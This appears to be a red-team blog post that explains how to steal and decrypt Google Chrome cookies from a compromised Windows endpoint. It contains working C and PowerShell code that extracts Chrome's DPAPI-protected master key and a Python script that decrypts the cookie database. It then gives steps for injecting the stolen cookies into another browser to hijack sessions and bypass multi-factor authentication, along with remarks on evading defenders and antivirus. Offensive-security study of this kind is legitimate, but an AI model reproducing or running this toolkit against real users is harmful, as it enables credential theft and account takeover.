Top Categories

Spotlight

todayJanuary 2, 2024

Red Teaming + Social Engineering krptyk

Reverse Proxy Phishing With Evilginx

Reverse proxy phishing with Evilginx is a technique where a phishing site acts as a proxy server, intercepting legitimate requests and forwarding them to the genuine website while capturing sensitive information from users. This approach allows us to create convincing phishing campaigns by seamlessly proxying the target site, making it [...]


Behind the Chrome Vault: A Guide to Stealing Cookies

Cyber security + Red Teaming + Penetration Testing krptyk todayOctober 28, 2023

Background
share close

This post is a continuation on the chrome decryption series. Previously I walked through how we can exfiltrate and decrypt the login data (credentials) from a users chrome browser. While capturing login data is a treasure trove of info, there’s another dimension to this exploration: cookies. Cookies, those seemingly innocuous pieces of data, hold the potential keys to a user’s online sessions. They have the ability to grant access to various sessions and retain user settings, preferences, and can even allow us to bypass multi-factor authentication that we might otherwise be stuck against with just user credentials. In other words, with the right cookie, we can potentially bypass the need for credentials altogether. In this segment, we’ll delve deeper into the digital cookie jar, uncovering how Google Chrome stores, encrypts, and manages these small but crucial pieces of information. Buckle up and prepare for another journey into the mysteries of Chrome’s encrypted vault.

Prerequisite: Ensure you have authorised access to the endpoint in question and that this is done for ethical purposes only. I am not responsible for anyone using this without legal approval.

The Groundwork

This process will assume that you have already gained some form of compromised access to the endpoint that is in scope.

Step 1: Locate the Local State File

To start the decryption process, the very first step is to locate the ‘Local State’ file, which plays an integral role in Chrome’s data encryption scheme. This file is stored within the Chrome user data directory.

  1. Open a file explorer on your system.
  2. Navigate to the following path:
C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\<local state>

In the above path, %USERNAME% is a Windows environment variable that will be replaced by your system’s username. After navigating to the ‘User Data’ directory, you should locate a file named <local state>. This file contains a multitude of Chrome’s configuration data, including information pertinent to our decryption task.

Understanding the Master Key

Before we dive into the extraction process, let’s understand what a master key is. The master key is a cryptographically secure key used by Google Chrome to encrypt sensitive user data, including passwords and cookies. The beauty of this encryption mechanism is that even if an attacker gets hold of encrypted data, without the master key, the data remains inaccessible.

This master key is unique per user installation, ensuring that even if two users have the same password saved in Chrome, the encrypted data will be different. The ‘Local State’ file we located earlier holds this master key, albeit in an encrypted format.

Extracting the Master Key

To retrieve the master key, we can leverage C programming. Using specific libraries and system calls, we can read the ‘Local State’ file, decrypt the master key, and then save it to a local file for further operations.

The following C code provides a method to achieve this:

//Example compilation: gcc getMasterKey.c -o getMasterKey.exe -lcrypt32

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#include <dpapi.h>

typedef struct {
    const char *filepath;
    const char *output_filepath;
} Arguments;

void parse_args(int argc, char *argv[], Arguments *args) {
    for (int i = 1; i < argc; i++) {
        if (strcmp(argv[i], "-f") == 0 && i + 1 < argc) {
            args->filepath = argv[++i];
        } else if (strcmp(argv[i], "-o") == 0 && i + 1 < argc) {
            args->output_filepath = argv[++i];
        } else {
            fprintf(stderr, "Unknown argument or missing value: %s\n", argv[i]);
            exit(EXIT_FAILURE);
        }
    }
}

void find_master_key(Arguments *args) {
    FILE *file = fopen(args->filepath, "r");
    if (file == NULL) {
        fprintf(stderr, "Could not open file\n");
        exit(EXIT_FAILURE);
    }

    char line[1024];  // Adjust buffer size as necessary
    char *value_ptr = NULL;
    while (fgets(line, sizeof(line), file) != NULL) {
        char *key_ptr = strstr(line, "encrypted_key");
        if (key_ptr != NULL) {
            char *colon_ptr = strchr(key_ptr, ':');
            if (colon_ptr != NULL) {
                value_ptr = colon_ptr + 2;  // move past the colon, space, and the first double quote
                char *end_ptr = strchr(value_ptr, '"');
                if (end_ptr != NULL) {
                    *end_ptr = '\0';  // terminate string at the ending double quote
                }
                break;  // exit the while loop
            }
        }
    }
    fclose(file);

    if (value_ptr == NULL) {
        fprintf(stderr, "String 'encrypted_key' not found\n");
        exit(EXIT_FAILURE);
    }

    printf("Extracted encrypted_key: %s\n", value_ptr);

    DWORD bufferSize = strlen(value_ptr);
    BYTE *decodedData = malloc(bufferSize);

    if (!CryptStringToBinaryA(value_ptr, bufferSize, CRYPT_STRING_BASE64, decodedData, &bufferSize, NULL, NULL)) {
        fprintf(stderr, "Error decoding base64 string.\n");
        free(decodedData);
        exit(EXIT_FAILURE);
    }

    if (bufferSize <= 5 || memcmp(decodedData, "DPAPI", 5) != 0) {
        fprintf(stderr, "Data doesn't start with DPAPI.\n");
        free(decodedData);
        exit(EXIT_FAILURE);
    }

    DATA_BLOB input, output;
    input.pbData = decodedData + 5;
    input.cbData = bufferSize - 5;

    if (!CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 0, &output)) {
        fprintf(stderr, "CryptUnprotectData failed with error code %u\n", GetLastError());
        free(decodedData);
        exit(EXIT_FAILURE);
    }

    FILE *outputFile = fopen(args->output_filepath, "wb");
    if (!outputFile) {
        fprintf(stderr, "Could not open the output file.\n");
        free(decodedData);
        LocalFree(output.pbData);
        exit(EXIT_FAILURE);
    }
    
    fwrite(output.pbData, 1, output.cbData, outputFile);
    fclose(outputFile);
    printf("Master key written to %s\n", args->output_filepath);

    free(decodedData);
    LocalFree(output.pbData);
}

int main(int argc, char *argv[]) {
    Arguments args = {0};
    parse_args(argc, argv, &args);

    if (args.filepath == NULL || args.output_filepath == NULL) {
        fprintf(stderr, "File path and output file path are required\n");
        printf("Usage:\n");
        printf("[+] -f path to local state file\n");
        printf("[+] -o file to output decoded key to\n\n");
        exit(EXIT_FAILURE);
    }

    find_master_key(&args);

    return 0;
}

You can execute the C program with the following command:
(I allowed the input of the file as we can copy and paste it somewhere else and rename it to make things harder for the blue team to follow). This has to be run on the local machine though otherwise the CryptUnprotectData API won’t return the right user context.

.\getMasterKey.exe -f <Local_State file location> -o <masterkey output> 

Prefer to use PowerShell instead?

param (
    [Parameter(Mandatory=$true)]
    [string]$InputFilePath,

    [Parameter(Mandatory=$true)]
    [string]$OutputFilePath
)

# Load the necessary .NET assembly
Add-Type -AssemblyName "System.Security"

# Read the file
$localStateContent = Get-Content -Path $InputFilePath -Raw

# Use regex to find the encrypted_key value
$matchFound = $localStateContent -match '"encrypted_key"\s*:\s*"([^"]+)"'

if (-not $matchFound) {
    Write-Error "Could not find 'encrypted_key' in the input file."
    exit
}

$encryptedKeyBase64 = $matches[1]

# Convert the base64 string to byte array
$encryptedKeyBytes = [System.Convert]::FromBase64String($encryptedKeyBase64)

# Strip the 'DPAPI' prefix
$dpapiBytes = $encryptedKeyBytes[5..($encryptedKeyBytes.Length - 1)]

# Decrypt the bytes using DPAPI
$decryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($dpapiBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)

# Write the decrypted master key to the output file
[System.IO.File]::WriteAllBytes($OutputFilePath, $decryptedBytes)

Write-Output "Master key written to $OutputFilePath"

You can execute the PowerShell command with:

.\GetMasterKey.ps1 -InputFilePath "path_to_Local State" -OutputFilePath "path_for_decoded_key"

At this point you might be asking what is the code doing?

Well, the provided code serves as a tool to extract and decrypt the master key from Chrome’s ‘Local State’ file using the Windows Data Protection API (DPAPI).

Here’s a brief breakdown of the code:

  1. Includes and Definitions:
    • Necessary header files are included for the code’s operations.
    • A struct Arguments is defined to store command-line arguments: file path to the ‘Local State’ file and an output file path to save the decrypted master key.
  2. Parsing Command-line Arguments (parse_args):
    • The function parse_args processes command-line arguments to get the paths to the input and output files.
  3. Finding and Decrypting the Master Key (find_master_key):
    • The ‘Local State’ file is opened and read.
    • It searches for a line containing the string “encrypted_key”, which should have the master key in encrypted form.
    • Once the encrypted key is located, the code proceeds to decode its base64 format.
    • It then checks if the decoded data starts with “DPAPI”. If it doesn’t, an error is raised.
    • The CryptUnprotectData function, part of the DPAPI, is then called to decrypt the master key.
    • The decrypted master key is saved to the specified output file.

Purpose of DPAPI:

The Data Protection API (DPAPI) is a pair of function calls within the Windows operating system that provides OS-level data protection services to user and system processes. In simpler terms, DPAPI is used to encrypt and decrypt data. It’s a secure way of storing secrets like passwords or keys without applications having to implement their encryption schemes.

In this context, Google Chrome uses DPAPI to encrypt the master key on Windows machines. The code extracts the encrypted master key and uses DPAPI’s decryption capabilities (CryptUnprotectData) to get the decrypted master key.

It’s worth noting that since Chrome uses the user-specific Windows DPAPI to encrypt the master key, the decryption (using the code above) needs to be executed on the same machine and under the same user context as the one where Chrome encrypted the data to successfully obtain the master key.

We’ll need the output file for the next part so make sure to exfiltrate it to your local machine.

Step 2: Decrypting the Chrome cookies offline

As with the previous post, I setup as much of this process to be executed offline in order to avoid triggering any alerts from the blue team and leaving as little artifacts as possible. (But lets be honest making explicit calls from an unknown program to the Microsoft Data Protection API will trigger a lot of alarms to any good EDR). With that being said, as of the time posting this, the PowerShell and C program above do not trigger Windows Defender.

Now, we need to exfiltrate the Cookies file which, differently to the Login Data file, is located in a in the following directory:

C:\Users\JP\AppData\Local\Google\Chrome\User Data\Default\Network

Inspecting the Cookies file reveals it’s structured as an SQLite database. But even a cursory glance using a simple tool like Notepad can offer valuable insights:

Plain text domain names or host keys for which cookies have been stored are readily visible. This makes for a rapid method to extract the file, review its contents, and determine its potential value. If the file suggests the presence of cookies from significant or interesting domains, then it’s worth pursuing further!

Once the Cookies file has been securely transported to your offline machine, the decryption process can commence, aiming to obtain the clear text details of the cookies.

You can see that there is cleartext of the URL’s for which cookies exist for. This is a good way for us to quickly pull this file, check it and see if there is actually anything even worthwhile for it. In this case it looks like there might be credentials for my website so lets continue!

An important thing to note is that if chrome is open on the users machine then the file will be locked and you won’t be able to copy it with normal methods.

Once you have extracted the Cookies file to your local machine we can begin the process of decrypting it and getting the clear text credentials. For this part we will utilise the previous python script but update it to pull the correct data from the SQL database. You can see below the database overview for the cookies file:

As you can see above, all the information we need is there, but the only section that is actually encrypted is the “encrypted_value”. This data is the actual cookie that we will use along with the “name”. More on this later, for now this is the code we will be using to get the cookies data from the file in a usable format for us to work with:

import os
import sqlite3
import shutil
from Crypto.Cipher import AES
import argparse
from datetime import datetime, timedelta

def chrome_time_conversion(chromedate):
    try:
        return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
    except:
        return chromedate

def decrypt_value(buff, master_key):
    try:
        iv, payload = buff[3:15], buff[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        return cipher.decrypt(payload)[:-16].decode()
    except:
        return "Chrome < 80"

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Retrieve Encrypted Chrome Cookie Details.")
    parser.add_argument("-f", "--file", required=True, help="Path to the Chrome Cookies database.")
    parser.add_argument("-k", "--key", required=True, help="Path to the master key file.")
    args = parser.parse_args()

    with open(args.key, 'rb') as f:
        master_key = f.read()

    temp_db = "CookiesTemp.db"
    shutil.copy2(args.file, temp_db)

    grouped_data = {}
    
    with sqlite3.connect(temp_db) as conn:
        cursor = conn.cursor()
        for row in cursor.execute("SELECT host_key, name, encrypted_value, creation_utc, last_access_utc, expires_utc FROM cookies"):
            host_key = row[0]
            data = {
                'name': row[1],
                'decrypted_value': decrypt_value(row[2], master_key),
                'creation_utc': chrome_time_conversion(row[3]),
                'last_access_utc': chrome_time_conversion(row[4]),
                'expires_utc': chrome_time_conversion(row[5])
            }
            
            if host_key not in grouped_data:
                grouped_data[host_key] = []
            grouped_data[host_key].append(data)
    
    for host, cookies in grouped_data.items():
        print("=" * 70)
        print(f"Host: {host}")
        for cookie in cookies:
            print("\n")
            for key, val in cookie.items():
                print(f"{key.title().replace('_', ' ')}: {val}")
        print("=" * 70, "\n")

    os.remove(temp_db)

this Python script as follows: chromeDecrypt.py -f <Path to Cookies file> -k <Path to master key file>

Now that we’ve got everything sorted all we need to do is run our script. Let’s see what cookies we can get from this file:

We were able to grab the cookies associated with my website – the cookie values above aren’t associated with valid session cookies.

Now you might be thinking, ok we got cookies what now? The next part is the easiest – all we have to do is put the cookie into our browser and see if we get lucky:

  1. Open a Firefox browser and browse to the page you have exfiltrated the cookies for
  2. Hit F12 and in the developer tools dialog click on the Storage tab
  3. Once in the storage tab, click on the cookies drop down tab – this will list the current cookies for the site for your context
  4. Hit the + button and start adding the exfiltrated cookies
  5. Refresh the page with your new cookies added and if you are lucky, you will be authenticated to the site in the context of the users cookies you exfiltrated.

I’ve gone through the process and exfiltrated my own Cookies file and injected these cookies into an unauthenticated browser on my virtual machine, I am able to gain admin access to my own site without ever logging in:

Now I know I have two different sets of Python code for the cookies or the login over these blogs and I kept it that way to make it easier to understand the code but I have combined them into one and you can find it over on my GitHub:

https://github.com/Krptyk/chromeDekrypt

Written by: krptyk

Tagged as: .

Rate it

Previous post

Post comments (0)

Leave a reply

Your email address will not be published. Required fields are marked *